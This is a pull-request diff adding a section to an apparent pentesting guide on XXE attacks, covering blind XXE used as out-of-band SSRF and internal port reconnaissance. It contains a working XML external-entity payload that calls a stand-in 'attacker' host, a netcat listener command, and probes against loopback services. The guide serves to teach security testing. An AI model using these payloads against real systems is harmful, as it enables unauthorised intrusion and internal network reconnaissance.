Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions src/pentesting-web/xxe-xee-xml-external-entity.md
Original file line number Diff line number Diff line change
Expand Up @@ -103,6 +103,34 @@ Using the **previously commented technique** you can make the server access a se
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

### Blind XXE → direct OOB SSRF and internal recon

If the application **expands a general entity inside a parsed field**, you can often prove the issue with a simple **HTTP callback** before attempting file disclosure:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker:9999/test">]>
<aruba><opcode>&xxe;</opcode></aruba>
```

- Start a listener such as `nc -lvp 9999` or use an OAST endpoint.
- A server-side `GET /test HTTP/1.0` callback is already enough to confirm **XXE-driven OOB SSRF** even if the application returns no interesting body.
- If the parser also fetches **external DTDs**, hosting the payload in `evil.dtd` is a good second-stage test because repeated `GET /evil.dtd` requests prove remote DTD resolution even without in-band disclosure.

Once the callback is confirmed, replace the entity URL with **loopback** or **internal** targets such as `http://127.0.0.1:22/`, `http://127.0.0.1:8080/`, or RFC1918 addresses. Then use one of these oracles to infer reachability:

- application differences such as `success` / `error` markers
- timing differences
- logs from the target service when you can access them

A useful confirmation trick is **protocol confusion against a non-HTTP localhost service**. For example, probing `http://127.0.0.1:22/` via the XXE-SSRF may make `sshd` log something like:

```text
Bad protocol version identification 'GET / HTTP/1.0' from 127.0.0.1
```

That log is strong SSRF evidence because the request reached a **loopback-only** service from the vulnerable host itself.

### "Blind" SSRF - Exfiltrate data out-of-band

**In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via \_ftp://**\_ using this basic server for example [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). This explanation is based in** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
Expand Down Expand Up @@ -914,6 +942,8 @@ References for this vector are listed at the end of the page.
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Netacoding – Pre-Authentication XXE to OOB SSRF in HPE ArubaOS 8.13.2.0 XML API](https://netacoding.com/posts/xxe-ssrf/)
- [JM00NJ – HPE-Aruba-AOS8-Vulnerabilities](https://github.com/JM00NJ/HPE-Aruba-AOS8-Vulnerabilities)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)

Expand Down